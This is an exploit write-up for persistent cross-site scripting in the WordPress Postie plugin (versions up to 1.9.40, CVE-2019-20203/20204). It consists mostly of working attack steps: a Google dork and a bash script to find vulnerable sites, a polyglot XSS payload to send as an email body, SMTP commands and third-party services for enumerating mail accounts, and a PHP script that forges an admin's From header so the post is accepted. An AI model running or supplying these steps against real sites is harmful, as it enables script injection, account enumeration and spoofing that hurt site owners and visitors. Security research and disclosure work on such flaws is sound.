85 lines
No EOL
3.3 KiB
Text
85 lines
No EOL
3.3 KiB
Text
# Exploit Title: WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting
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# Google Dork: inurl:/wp-content/plugins/postie/readme.txt
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# Date: 2020-01-15
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# Exploit Author: V1n1v131r4
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# Vendor Homepage: https://postieplugin.com/
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# Software Link: https://wordpress.org/plugins/postie/#developers
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# Version: <=1.9.40
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# Tested on: Linux
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# CVE : CVE-2019-20203, CVE-2019-20204
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## Identifying WordPress Postie Plugin installation
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#!/bin/bash if curl -s -o /dev/null -w "%{http_code}" http://<domain.com>/wp-content/plugins/postie/readme.txt | grep 200 > /dev/null; then echo "" echo "Postie installed!" else echo "" echo "Postie seems not to be installed" fi
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## Performing persistent XSS using Polyglot JavaScript syntax with crafted SVG (CVE-2019-20204)
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# the syntax below should go as email body
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jaVasCript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(You've been hacked)//'>
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## Email to post on Postie
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- Identifying the mail server
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dig domain.com mx
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- enumerating accounts via SMTP
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telnet domain.com 587
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EHLO buddy
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mail from:<sender@example.io>
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rcpt to:<user@domain.com>
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vrfy user@domain.com
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- listing accounts via third party software
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You can use these third party software and APIs to enumerate target email users:
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- https://www.zerobounce.net
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- https://tools.verifyemailaddress.io/
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- https://hunter.io/email-verifier
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## Spoofing with PHPMailer
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<?php
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/* CONFIGURE PHP IF NEEDED */
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// ini_set("sendmail_from","$fromFull");
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// ini_set("SMTP","mail.domain.com");
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// ini_set('smtp_port',587);
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// ini_set('username',"user");
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// ini_set('password',"pass");
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// COMPOSE
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$to = 'postie@domain.com';
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$subject = 'Title of your post';
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$message = 'You've been hacked :-)';
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// BASIC HEADER
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$headers = 'From: wordpress.admin@domain.com' . "\r\n" .
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'Reply-To: wordpress.admin@domain.com' . "\r\n" .
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'X-Mailer: PHP/' . phpversion();
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// SEND AND SHOW MESSAGE
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if (mail($to, $subject, $message, $headers)) echo $headers.'<h1>Mail sent!</h1>';
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else echo '<h1>Something went wrong...</h1>';
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// FULL HEADER
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// $headers = "From: testsite < mail@testsite.com >\n";
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// $headers .= "Cc: testsite < mail@testsite.com >\n";
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// $headers .= "X-Sender: testsite < mail@testsite.com >\n";
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// $headers .= 'X-Mailer: PHP/' . phpversion();
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// $headers .= "X-Priority: 1\n";
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// $headers .= "Return-Path: mail@testsite.com\n";
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// $headers .= "MIME-Version: 1.0\r\n";
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// $headers .= "Content-Type: text/html; charset=iso-8859-1\n";
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?> |